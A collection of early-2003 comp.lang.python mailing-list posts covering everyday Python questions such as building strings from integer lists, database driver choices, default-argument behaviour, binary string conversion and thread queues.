Thanks for any help !
____________________________________________________________________________
____________










From dreed at capital.edu  Mon Jan 13 18:11:40 2003
From: dreed at capital.edu (Dave Reed)
Date: Mon, 13 Jan 2003 18:11:40 -0500
Subject: fast way of turning a list of integers<256 into a string
In-Reply-To: <f57664b9.0301131444.26ca3b43@posting.google.com>
References: <f57664b9.0301131444.26ca3b43@posting.google.com>
Message-ID: <200301131811.40902.dreed@capital.edu>

On Monday 13 January 2003 17:44, Jonathan P. wrote:
> s=''
> for i in range(1,255):
>   s+=chr(i)
> 
> has horrible performance (primarily due to string
> immutability I think).  Is there a function to do
> the ff. instead:
> 
> x=range(1,255)
> list2str(x)
> 
> and have x become a string?


Use map or list comprehensions to convert all the elements using chr
and then use ''.join on the list.

x = range(1,256)
x = map(chr, x)
x = ''.join(x)

or in one step:

x = ''.join(map(chr, range(1, 256)))

HTH,
Dave





From u9300103 at mail.lssh.tp.edu.tw  Mon Jan  6 06:09:42 2003
From: u9300103 at mail.lssh.tp.edu.tw (Tiberius Teng)
Date: 6 Jan 2003 03:09:42 -0800
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org>
Message-ID: <9d791d77.0301060309.67c7d5f8@posting.google.com>

Be sure to check out Spyce (http://spyce.sourceforge.net/) if you want
to compare Python with PHP. :)

Tiberius Teng



From mcfletch at rogers.com  Fri Jan 31 17:56:49 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 31 Jan 2003 17:56:49 -0500
Subject: Syntax checking python...
In-Reply-To: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
Message-ID: <3E3AFF31.8000006@rogers.com>

Most practical approach (IMO):
    Use a Python-aware editor (PythonWin, for instance), which 
syntax-colours your source-code as you go.  Sure, it doesn't catch 
everything, but it'll highlight matching braces/brackets/parens as you 
move about, check for string-literal endings, highlight keywords, and 
generally attempt to show the code as understood by the interpreter.

If for some particular reason you really do need to do robust 
pre-checking of files, see pychecker, or the compile module.

HTH,
Mike

Afanasiy wrote:

>In other languages, I can receive syntax errors without the script having
>to execute. Please do not let this hurt your feelings. I merely bring up
>the other languages as an example of what I mean and what I am used to.
>
>In Python, I will not receive a syntax error until the interpreter runs
>right into it. This is not very efficient for me during my development.
>
>Is there a way I can be notified of my typos without having to run the
>interpreter up to those mistakes? That is my question. No smartasses.
>
>  
>

-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From mwm at mired.org  Sun Jan 12 21:24:08 2003
From: mwm at mired.org (Mike Meyer)
Date: Mon, 13 Jan 2003 02:24:08 GMT
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
Message-ID: <x77kd9ss6o.fsf@guru.mired.org>

"Kevin Ethridge" <kevinethridge at yahoo.com> writes:
> Why doesn't map() work with the print function?
> ie map(print, ['Have', 'a', 'great', 'day.'])

Because print isn't a function, it's a statement. It will work with
sys.stdout.write.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From jb at cascade-sys.com  Fri Jan 17 04:00:14 2003
From: jb at cascade-sys.com (James J. Besemer)
Date: Fri, 17 Jan 2003 01:00:14 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <mailman.1042763431.24621.python-list@python.org> <f57664b9.0301170025.596f6482@posting.google.com>
Message-ID: <3E27C61E.2030906@cascade-sys.com>

Jonathan P. wrote:

> I first encountered Hungarian notation in a Byte article
> written by Simonyi himself.  Couldn't make much heads or 
> tails out the article and frankly was annoyed at how
> complicated it seemed (and how much grief it gives to the
> programmer).  That annoyance at the article turned to 
> real world frustration when trying to program for Win32.  
> The idea of Hungarian notation as practiced by Microsoft 
> is really _ugly_.  

I always hated it too.  I find that merely picking good names for classes is 
usually sufficient if not superior.

However, in all fairness to Simonyi, he developed Hungarian notation 
literally decades ago, at a time when C compilers did not do any type 
checking and yet the types of variables mattered greatly.  It was easy to 
mistake ints and floats or much worse chars, char pointers and ints, with 
disastrous results.  In fact, I think he used it for assembly language 
programming before he used it for C.  In the absence of any substantial 
abstraction constructs and in the context of a very type unsafe environment, 
Hungarian wasn't such a crazy idea.  I personally STILL don't think it was 
worth the effort -- then or now -- but in the context of the time it wasn't 
so crazy as it may seem today.

Regards

--jb

-- 
James J. Besemer		503-280-0838 voice
2727 NE Skidmore St.		503-280-0375 fax
Portland, Oregon 97211-6557	mailto:jb at cascade-sys.com
				http://cascade-sys.com	






From pedronis at bluewin.ch  Fri Jan  3 10:05:57 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 3 Jan 2003 16:05:57 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org> <3e159dcc_2@news.bluewin.ch>
Message-ID: <3e15a707_3@news.bluewin.ch>

"Samuele Pedroni" <pedronis at bluewin.ch> ha scritto nel messaggio
news:3e159dcc_2 at news.bluewin.ch...
> If those are the worries then I would go the Dylan route: the applicable
> methods' signatures should be all comparable given the class precedence
list
> of the arguments otherwise the dispatch is ambiguous.

oops, there's a minimal applicable method's signature that is comparable
with all applicable methods' ones...





From pinard at iro.umontreal.ca  Fri Jan 24 17:14:27 2003
From: pinard at iro.umontreal.ca (Francois Pinard)
Date: 24 Jan 2003 17:14:27 -0500
Subject: file locking on nfs?  expiring old mail messages?
In-Reply-To: <7h37kcuxw0r.fsf@pc150.maths.bris.ac.uk>
References: <b0pve9$29q$1@news.service.uci.edu>
	<7h37kcuxw0r.fsf@pc150.maths.bris.ac.uk>
Message-ID: <oq1y3242m4.fsf@alcyon.progiciels-bpi.ca>

[Michael Hudson]

> > I'm working on a program to delete old messages from an mbox-formatted
> > mailbox, and could use proper locking.

Would `movemail' do, by any chance?  It originally came with Emacs so far
that I know,, and I would presume Emacs still has it.  I've also seen it
distributed within Netscape, with almost no modification.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From gerhard.haering at gmx.de  Fri Jan  3 12:12:02 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 3 Jan 2003 17:12:02 GMT
Subject: which postgresql DB-API for python?
References: <3E15C01D.1000704@aon.at>
Message-ID: <slrnb1bh2r.1o3.gerhard.haering@lilith.my-fqdn.de>

Oliver Vecernik wrote:
> Hi!
> 
> I'd like to write a small database app and found a lot of DB-API's:
> 
> * pygresql
> * popy
> * pgsql
> * psycopg
> * pypgsql
>
> Which on should I use?

pyPgSQL (or psycopg), but I'm biased (see .signature) ;-)

> Are there any main advantages for one of them? 

pyPgSQL has some interesting features, like the ability to set a
transaction isolation level, an implementation of the NUMERIC type on
the client side, Unicode support, and other goodies.

It also wraps the low-level PostgreSQL API in a module called libpq.
But if you want to use the DB-API module, this is just an
implementation detail ;-)

psycopg is optimized for heavily multithreaded applications.

I don't know what you mean with 'pgsql'.

> Why are there such a lot of implementations. Does none of them fit all 
> requirements?

This really depends on the exact requirements.

> I'd like to use my app on Linux (Debian/Woody)

Woody's (and testing's :-( ) pyPgSQL is still at version 2.0. If you
need newer features, like Unicode it seems like you'll currently need
to upgrade to version 2.3 manually.

> and on Windows (W2K/XP) together with wxWindows.

pyPgSQL is the only one to offer a win32 port readily available. But
I've seen a win32 version of psycopg mentioned on its mailing list.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From bokr at oz.net  Sat Jan 11 14:54:35 2003
From: bokr at oz.net (Bengt Richter)
Date: 11 Jan 2003 19:54:35 GMT
Subject: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com> <avo5ir$m9h$0@216.39.172.122> <3E1FAA5F.F426AB6F@alcyone.com>
Message-ID: <avpspr$r9v$0@216.39.172.122>

On Fri, 10 Jan 2003 21:23:43 -0800, Erik Max Francis <max at alcyone.com> wrote:

>Bengt Richter wrote:
>
>> Let's see how that looks:
>> 
>>     def foo(x, y=default; z=some_expression):
>> 
>> Not bad ;-)
>
>If I understand correctly, you really want these additional parameters
>to be what in C are local variables with static duration.  I certainly
You bring up an interesting point, because default parameter _bindings_
don't really act like C static locals. I.e., with default values, new local
bindings (UIAM) are set up at each call-time, with new call-time bindings to
the def-time-computed default value objects.

This is the behavior I would propose first. For read-only it doesn't make
any difference, but the difference is apparent if you rebind a parameter
name locally. I.e., it doesn't affect the default seen at the next call.

See below [1] for a proposal to add something analogous to C static locals
as well.

>don't object to the concept, but I really don't think that the right
>place for it is in the function declaration, despite the obvious counter
>(and inspiration) that some people use default parameters for just this
>purpose.
>
I agree. It was not my first choice, but I thought it was an easy conceptual
extension of current default-value mal/practice, with a simple spelling.

My first choice would be a new keyword to provide a place other than the parameter
list to specify the def-time code that generates the local bindings in question
(e.g., z above):

     def foo(x, y=default):
         preset: z=some_expression
         ...

IOW, the suite of "preset:" would be compiled to be executed at def-time
rather than call-time. I.e., the code would go into the same context as
the code that evaluates default parameter expressions, not into the body
of the call-time function code. Having a full suite would allow exception handling
and raising in that context, and uncaught exceptions would propagate the
same way def-time default value expression exceptions do.

Of course preset: would allow single-line or indented suites like any compound
statement.

I think if it became a convention to set up bindings to module elements
etc, and do other expensive one-time things in the preset: suite, we would
see both less clutter in the function code body and better speed.

Conceivably on could write a source-transforming optimizer to hoist builtin
dotted module references into the preset suite, as a start. Maybe with
some hints it could hoist other global refs as well. It might be an
alternative to complex runtime global access optimizations.

==[1]============================================================
Persistent local bindings would also be useful. Of course "you can
do it now"(TM) now with classes and instance attributes etc., but you
can say that about a number of other things in Python that have been given
concise "spellings."

What's needed for persistently rebindable local names is a way to
differentiate the names. I think just prefixing a dot would be concise
and simple, e.g.,

     def foo(x, y=default):
         preset:
             z=some_expression
             cache = {}
             pi = __import__('math').pi
             stdout = __import__('sys').stdout
             .firstTime=1
             .counter=0

         # call-time body starts here ...
         .counter+= 1
         if .firstTime: print 'foo: Got my first call.'; firstTime=0
         ...

There, now we have the best of both worlds ;-)

BTW, you could implement .xxx as foo.xxx, but it would be more efficient to
collect all the dot-names and do a __slots__ kind of thing with them, IWT.

Of course, you probably  wouldn't want to use persistent bindings directly
in e.g., library functions but you might want to make a factory function that
returns configured function instances which would have separate persistent locals.

Regards,
Bengt Richter



From tim.one at comcast.net  Fri Jan 24 13:31:46 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 24 Jan 2003 13:31:46 -0500
Subject: Is that a memory leak ?
In-Reply-To: <7h3bs26xw5j.fsf@pc150.maths.bris.ac.uk>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEDIEKAA.tim.one@comcast.net>

[Michael Hudson]
> Err, I think Py_DEBUG implies COUNT_ALLOCS

Nope.  COUNT_ALLOCS is unique:  it neither implies nor is implied by
anything else; it's orthogonal to all other build variations.

> implies new-style classes are immortal.

COUNT_ALLOCS does imply that, but you don't get COUNT_ALLOCS unless you
force it explicitly.





From jwbaxter at spamcop.net  Tue Jan 14 03:03:26 2003
From: jwbaxter at spamcop.net (John Baxter)
Date: Tue, 14 Jan 2003 00:03:26 -0800
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <yyyznqecqch.fsf@adams.patriot.net> <x7fzs6yzpm.fsf@guru.mired.org> <mailman.1041976020.23714.python-list@python.org> <6rsfva.d74.ln@beastie.ix.netcom.com>
Message-ID: <jwbaxter-1F2F90.00032614012003@corp-radius.supernews.com>

In article <6rsfva.d74.ln at beastie.ix.netcom.com>,
 Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

> > have punctuation and block delimiters :-). ... and OO will be done
> > right this time! Yay!
> >
>         As long as "bless" doesn't turn into "dam*" <G>

Kind of like my (remarkably good) boss in the late 1960s, who pretended 
to want to replace the
   goto
with the
   comefrom

The latter would be
   comefrom  label
where label was applied to the point of departure.  Various conditional 
were certainly in the mix.

When one looked at the idea semi-seriously, there didn't seem to be any 
showstoppers.  And one could see at a glance the names of every point 
from which control might suddenly arrive at this code...something that's 
harder with goto.

  ;-)

  --John



From maney at pobox.com  Sun Jan 26 15:35:53 2003
From: maney at pobox.com (Martin Maney)
Date: Sun, 26 Jan 2003 20:35:53 +0000 (UTC)
Subject: SQL null conversion
References: <mailman.1043252682.479.python-list@python.org> <slrnb37c03.df8.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <b11gr9$lk1$1@wheel2.two14.net>

Gerhard H?ring <gerhard.haering at gmx.de> wrote:
> Aha. Your problem goes away if you use the DB-API way of quoting.

I would probably like that.  Is it documented anywhere?

> this, it's probably time to read the DB-API specification [1] ;-)

I have.  The basic premise of writing to a more or less database
independent API appeals to me.  The "specification", however, doesn't
appear to contain the words "quote", "quoting", "quoted", etc.  :-(

Python seems to call it a "specification" whenever some doc reaches the
"covers 90% of normal usage" state.  Sometimes that's good enough, but
I suspect it's at the root of a lot of the half-baked reinventions of
various wheels that litter the vaults... and many more than never
become that visible.



From ericmattes at yahoo.com  Tue Jan 28 11:35:07 2003
From: ericmattes at yahoo.com (Eric Mattes)
Date: 28 Jan 2003 08:35:07 -0800
Subject: end of lines
Message-ID: <fd5aa35c.0301280835.6f7dea91@posting.google.com>

Hi.

I am running Windows XP and activestate python 2.2.1. I'm writing a
program that reads in a (local) file using urllib and the readlines()
method like so:

code = "".join(urllib.urlopen(file).readlines())
string.replace(code, "\r", "\n")
compiled_code = compile(code, '<string>', 'exec')

This causes a SyntaxError "Invalid Syntax" with an arrow pointing at
the end of the first line of the string read from the file. For
example, the file's first line is:

print "hi"

The error will point to the space just after the "hi"

I read that the exec and compile functions need lines to end with only
a newline character, so I put that replace call in there to filter out
the CRs. It still
doesn't work! I am really stumped by this one. Any help would be
appreciated.

Thanks!
-Eric



From ajw126NO at SPAMyork.ac.uk  Tue Jan  7 09:26:59 2003
From: ajw126NO at SPAMyork.ac.uk (Andrew Wilkinson)
Date: Tue, 7 Jan 2003 14:26:59 -0000
Subject: Creating a list/tuple/dictionary
Message-ID: <3e1ae3b4$0$161$65c69314@mercury.nildram.net>

Hi,

When the Python interpreter comes across a statement such as...

a = [1,2,3]

how does it go about creating that list?

Does it convert the code into something equivalent to
a = []
a.append(1)
a.append(2)
a.append(3)
(although obviously it would call the C functions directly)

or is there a quicker method that it uses, if so is that accessible from
ordinary python code?

The same question applies to tuples and dictionaries, although I'm guess
that the same answer will apply to all of them.

thanks in advance,
Andrew Wilkinson







From donn at u.washington.edu  Wed Jan 29 16:57:06 2003
From: donn at u.washington.edu (Donn Cave)
Date: 29 Jan 2003 21:57:06 GMT
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home>
Message-ID: <b19ini$1o0a$1@nntp6.u.washington.edu>

Quoth Jarek Zgoda <jzgoda at usun.gazeta.pl>:
| Skip Montanaro <skip at pobox.com> pisze:
|  
| >    Donn> Or maybe he literally meant efficient.  The efficient place to
| >    Donn> stop the flow is not at the destination.
| > 
| > For that to happen, you will need the cooperation of the involved foreign
| > ISPs, largely in Asia and Brazil, I think.
|
| That's why I use DNS-based blacklists. See http://korea.services.net to
| get an idea on how it works.

The key to how it works is not discussed much there, though.
I mean, the immediate result is you still end up solving just your
own host's piece of the problem, too little of the problem for the
spammers to care and too late to relieve any of the infrastructure
burden.  If it works, it will be because enough ISPs are doing this
to cause noticeable harm to legitimate Internet users in Korea et al.,
hopefully leading to reform.  That beats shutting down Internet
access between those countries and North America, though.

	Donn Cave, donn at u.washington.edu



From zope at thewebsons.com  Sat Jan 11 00:18:05 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 01:18:05 -0400
Subject: Stackless Python, Tail Recursion and Functional Programming
Message-ID: <5.1.0.14.0.20030111011527.021ee5e0@mail.thewebsons.com>

Hi;
Someone wrote me from this list advising me to drop my passion for 
functional programming because Python doesn't optimize for it. Then I 
remembered Cameron Laird's *Stackless Python*. Doesn't this take care of 
this problem by converting the stack into a tree, just like XSLT? Doesn't 
that make optimization for tail recursion a cake-walk? And, if so, if I 
implement the necessary changes to my Python distro, can I write recursive 
programs without worrying about optimization problems?
TIA,
beno






From tjreedy at udel.edu  Tue Jan  7 11:15:17 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 7 Jan 2003 11:15:17 -0500
Subject: Numeric array and for loops problem
References: <c5598079.0301060856.4012672b@posting.google.com> <Ef-cnQWRn8_oU4SjXTWc3A@comcast.com> <c5598079.0301070529.7a15d75f@posting.google.com>
Message-ID: <W9Gcnaj_59cjYYejXTWcpA@comcast.com>

> What do u mean with?
> >
> > Should you use wx,wy to match x,y below?

you define array with worldy,worldx in that order and then access with
x,y in opposite order.  seems odd.

tjr





From vanevery at 3DProgrammer.com  Wed Jan 22 20:39:21 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 23 Jan 2003 01:39:21 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com>
Message-ID: <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net>

Alan James Salmoni wrote:
>
> It is also possible that the way in which a language operates is an
> important factor: With Python, there is little need for third party
> vendors as it comes with so much in the basic installation, and its
> ease of learning reduces the need for courses.

I'm not buying that argument.  Python clearly doesn't have as much mindshare
as Java or C#.  There's a very simple reason for that: Java has the
marketing power of Sun behind it, C# has the marketing power of Microsoft
behind it.  Who's championing Python?  Python is just part of the balkanized
freeware language landscape.  Until a giant corporation gets behind it, it
can only grow by grassroots.

Suggestion: convince IBM that it wants to use Python for everything.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From cnetzer at mail.arc.nasa.gov  Wed Jan 15 20:56:04 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 15 Jan 2003 17:56:04 -0800
Subject: Interesting problem comparing strings with integer values...
In-Reply-To: <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com>
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com>
Message-ID: <200301160156.RAA14761@mail.arc.nasa.gov>

On Wednesday 15 January 2003 16:19, Chris Spencer wrote:
> The comparison will not be done inside of a Python interpreter,
> but in an SQL statement.
[snip]

At least a HINT to that effect in your original post would have saved 
me and others from wasting our time in this Python forum, thinking up 
and posting Python answers to your non-Python question.

That said, I know nothing of SQL, or SQL datatypes, etc.  How IS this 
related to Python?  Are you using Python to generate the data form 
inclusion in a databse, perhaps?  Are the SQL queries being controlled 
by a python program, etc. etc.?


> Note that this works as well:
> select blah from table where value>"1111100111" and
> value<"110101101000";

Again, I know nothing of SQL, but if you are doing a straightforward 
lexicographical comparison here, this doesn't make sense.  These 
values, if they are thought of as binary strings, are NOT ordered by 
numerical value.

For example, in Python (or any other common language with string 
compare, that I know of), the first value is considered to be GREATER 
than the second, ven though numerically it is clearly smaller, ie.:

Python 2.2.2 (#1, Jan  3 2003, 12:42:27) 
>>> a = "1111100111"
>>> b = "110101101000"
>>> a > b
1

Now, if things are different in SQL, then that is that.  But I could 
only suggest that this is not the right newsgroup to discuss the issue 
(despite most of the posters being nice, friendly people; of which I 
must right now seem the exception)

> However, I've not been able to find an equivalent to hex() or oct()
> that would turn integers into binary string representation.  If there
> IS such a beastie, please let me know.

Well, here is a totally stupid implementation of an int to binary 
string function (probably require Python 2.2, but is easily 
backported).  Feel free to use, or improve on it.  It makes 
lexicographically ordered binary strings out of non-negative, non-float 
numbers.

-----------------------------------------------------------
def tobinarystr( num, maxbits=32 ):
    """Convert a POSITIVE, non-float number to a base-2 string."""

    l = []
    for i in range( maxbits ):
        l.append( str( int( num & 1 ) ) )
        num >>= 1
    l.reverse()
    return "".join( l )

def print_all_binary_strings( _range ):
    for num in _range:
        print tobinarystr( num )

def assert_ordering_on_binary_strings( max_num ):
    for i in range( max_num ):
        assert( tobinarystr( i ) < tobinarystr( i + 1 ) )

print_all_binary_strings( [0, 1, 2, 3, 32676, 2**31, 2**31 + 1] )
assert_ordering_on_binary_strings( 10000 )


-- 

Chad Netzer
cnetzer at mail.arc.nasa.gov




From python-list at hazen.net  Wed Jan 29 18:28:34 2003
From: python-list at hazen.net (John Hazen)
Date: Wed, 29 Jan 2003 15:28:34 -0800
Subject: is it a bug ??
In-Reply-To: <3E383FA0.3000000@wanadoo.fr>; from brauner joel on Wed, Jan 29, 2003 at 09:54:56PM +0100
References: <3E383FA0.3000000@wanadoo.fr>
Message-ID: <20030129152834.A5531@gate.hazen.net>

On Wed, Jan 29, 2003 at 09:54:56PM +0100, brauner joel wrote:
> 
> def f(a=[]):
> 	print a
> 	if len(a)<5:
> 		a.append(1)
> 		f(a)
> 	print a
<snip>
> 
> In other words, the recursive function f seems to make the a list global 
> for all the occurences of the function
> 
> is that normal ?

Contrary to what others have said, this has nothing to do with default
arguments.  It *does* have to do with how functions get their arguments by
reference.

In both f and g, the 'a' that it uses internally to the function is the same as
the list used by its caller, because lists are mutable.  In fact, any
assignment to a mutable object is by reference.  In other words, both variables
"refer to" the same object.  For example:

>>> a
[1, 1]
>>> b=a
>>> a
[1, 1]
>>> b
[1, 1]
>>> id(a)
727120
>>> id(b)
727120
>>> b.append(3)
>>> b
[1, 1, 3]
>>> a
[1, 1, 3]


So, what makes g work the way you expect, is that the '+' operator creates a
*new* list (and a.append just modifies the existing one) :

>>> a=[]
>>> a
[]
>>> id(a)
710992
>>> a=a+[1]
>>> a
[1]
>>> id(a)
727120
>>> a.append(1)
>>> a
[1, 1]
>>> id(a)
727120


You can see that with "a=a+[1]" 'a' now points to a different list.

So, to recurse with a list that you'll be changing, you should pass a copy:

>>> def f(a=[]):
...   print a
...   if len(a) < 5:
...     a.append(1)
...     f(a[:])
...   print a
... 
>>> f()
[]
[1]
[1, 1]
[1, 1, 1]
[1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1]
[1, 1, 1]
[1, 1]
[1]


-John




From aahz at pythoncraft.com  Tue Jan 28 19:30:58 2003
From: aahz at pythoncraft.com (Aahz)
Date: 28 Jan 2003 19:30:58 -0500
Subject: [Q] Customizable text editor based on Python?
References: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net>
Message-ID: <b177c2$b2f$1@panix2.panix.com>

In article <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE at cox.net>,
Eric <eRrEiMcOgVoErMrE at cox.net> wrote:
>
>I was wondering if people could point me to a text editor which can be
>extended using Python, similar to how Emacs can be extended via LISP and
>Alpha can be extended via TCL/TK.

vim
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From max at alcyone.com  Tue Jan 28 19:45:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 16:45:02 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com>
Message-ID: <3E37240E.DB91BC7F@alcyone.com>

Paul Rubin wrote:

> Letting stuff settle out is precisely the purpose of the alpha and
> beta release series, which is where we are in 2.3 right now.  That's
> why I want to make the next alpha.  Also, this started several months
> back, before the 2.3 cycle really began, though I ended up letting it
> slide for a while.

In traditional development cycles, new features get introduced long
before alpha.  Alpha is when you have all the new features in place in
at least some fashion, although they may not be working too well yet. 
Alpha is not when you introduce new features, particularly ones that are
just reviewed APIs.

I think you'd be much better off in this process aiming for (2.4 or
whatever the next release will be) and starting with a PEP.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Patriotism is the last refuge of a scoundrel.
\__/ Samuel Johnson
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From ndsystems at dataflux.bc.ca  Tue Jan  7 00:18:29 2003
From: ndsystems at dataflux.bc.ca (William Yeo)
Date: Tue, 07 Jan 2003 05:18:29 GMT
Subject: good name for a dict/list hybrid
References: <avd4ti$2jr$1@slb0.atl.mindspring.net>
Message-ID: <ndsystems-3CD464.21192706012003@shawnews.gv.shawcable.net>

In article <avd4ti$2jr$1 at slb0.atl.mindspring.net>,
 Andrew Dalke <adalke at mindspring.com> wrote:

> I have a class which I'm calling DictList.  Its used for an ordered
> dictionary which can have multiple keys, though in almost all cases
> it only has single keys.  It is ordered, so I want away to get an
> entry by position in the insertion order, which are integers.

[class eexample snipped]

> 
> Code will be posted after I get a good name.  :)
> 
> 
> 					Andrew
> 					dalke at dalkescientific.com
> 

How about calling it a 'cubby', so the data can be 'cubbyholes' :-)

Will



From skip at pobox.com  Fri Jan 31 12:22:39 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 11:22:39 -0600
Subject: tmda and python
In-Reply-To: <42b552b5.0301310856.70ec96d6@posting.google.com>
References: <42b552b5.0301310856.70ec96d6@posting.google.com>
Message-ID: <15930.45279.783876.833166@montanaro.dyndns.org>

    jackson> I am having a problem with getting tmda to work properly with
    jackson> qmail.
    ...
    jackson> Thanks for any help offered.

Switch to Spambayes. ;-)

http://spambayes.sourceforge.net/

Skip





From mwh at python.net  Wed Jan 22 07:04:04 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 22 Jan 2003 12:04:04 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DD270.8CB2FA4A@engcorp.com> <20030121233331.GA4356@pedos.es> <mailman.1043200119.17462.python-list@python.org>
Message-ID: <7h3adhtjsr3.fsf@pc150.maths.bris.ac.uk>

Francois Pinard <pinard at iro.umontreal.ca> writes:

> [Grzegorz Adam Hankiewicz]
> 
> > Do you have a link to a Turing-Complete language? I have here some
> > text to process of infinite lentgh... <wink>
> 
> Here is a far less demanding exercise.  Merely print ackerman(4, 4):

Apropos of not much at all, does anyone know if anyone has ever
constructed a language that only allows one to evaluate primitive
recursive functions?

Cheers,
M.

-- 
  Important data should not be entrusted to Pinstripe, as it may
  eat it and make loud belching noises.
   -- from the announcement of the beta of "Pinstripe" aka. Redhat 7.0



From tlavoie at acm.org  Fri Jan 24 15:05:45 2003
From: tlavoie at acm.org (Tim Lavoie)
Date: 24 Jan 2003 14:05:45 -0600
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com> <23891c90.0301240929.196ae7bf@posting.google.com>
Message-ID: <87heby2u06.fsf@theasylum.dyndns.org>

>>>>> "Paul" == Paul Boddie <paul at boddie.net> writes:

    Paul> kaz at ashi.footprints.net (Kaz Kylheku) wrote in message
    Paul> news:<cf333042.0301232326.582ac37 at posting.google.com>...
    >> Do you know that Lisp programmers have been storing data as
    >> nested lists for forty years? You have rediscovered the wheel.

    Paul> Sounds like the shortened version of a typical Erik Naggum
    Paul> rant about XML:

    Paul>
    Paul> http://groups.google.com/groups?selm=3250033069468718%40naggum.no

    Paul> (Only without the bandwidth-defying departure from the
    Paul> subject of relevance.)

At least with Lisp you have a powerful programming language with a
natural way to express complex nested data. If you want to see
something truly bletcherous, have a gander at those who try to write
programs in XML.  <<shudder>> Check out:

  http://www.waterlang.org/doc/tutorial_fast_intro.html




From lac at strakt.com  Mon Jan 27 14:31:39 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 27 Jan 2003 20:31:39 +0100
Subject: About object reference and threads 
In-Reply-To: Message from Grumfish <nobody@nowhere.com> 
   of "Mon, 27 Jan 2003 19:21:38 GMT." <0o1b3vo4gg5gms330voa5pchbat06o4euh@4ax.com> 
References: <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com> <nobody@nowhere.com> of "Mon, 27 Jan 2003 17:58:01 GMT." <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com> <mailman.1043693265.29463.python-list@python.org> <0o1b3vo4gg5gms330voa5pchbat06o4euh@4ax.com> 
Message-ID: <200301271931.h0RJVejL017183@ratthing-b246.strakt.com>

> Laura Creighton wrote:
> > and a Thread (made like this)
> > 
> >        self.thread1 = threading.Thread(target=self.workerThread1)
> 
> The thread shares the same members as self when using target like
> that? I wanted a subclass of Thread with its own run method. Doing it
> like the example said would mean the self.queue would refer to the
> parent's queue member. Doing it the way I wanted, self.queue would
> refer to the thread's queue. Am I correct? Is one way better than the
> other?

The whole point of the queue is to let the different threads communicate.
This means that it has to be the _same_ queue.  If the parent's queue,
and each worker's queue are different, then writing things to them
will not communicate anything.  You will just get a lot of full queues.

It is possible that what you want is two queues, a back queue to
communicate back to the parent.

> 
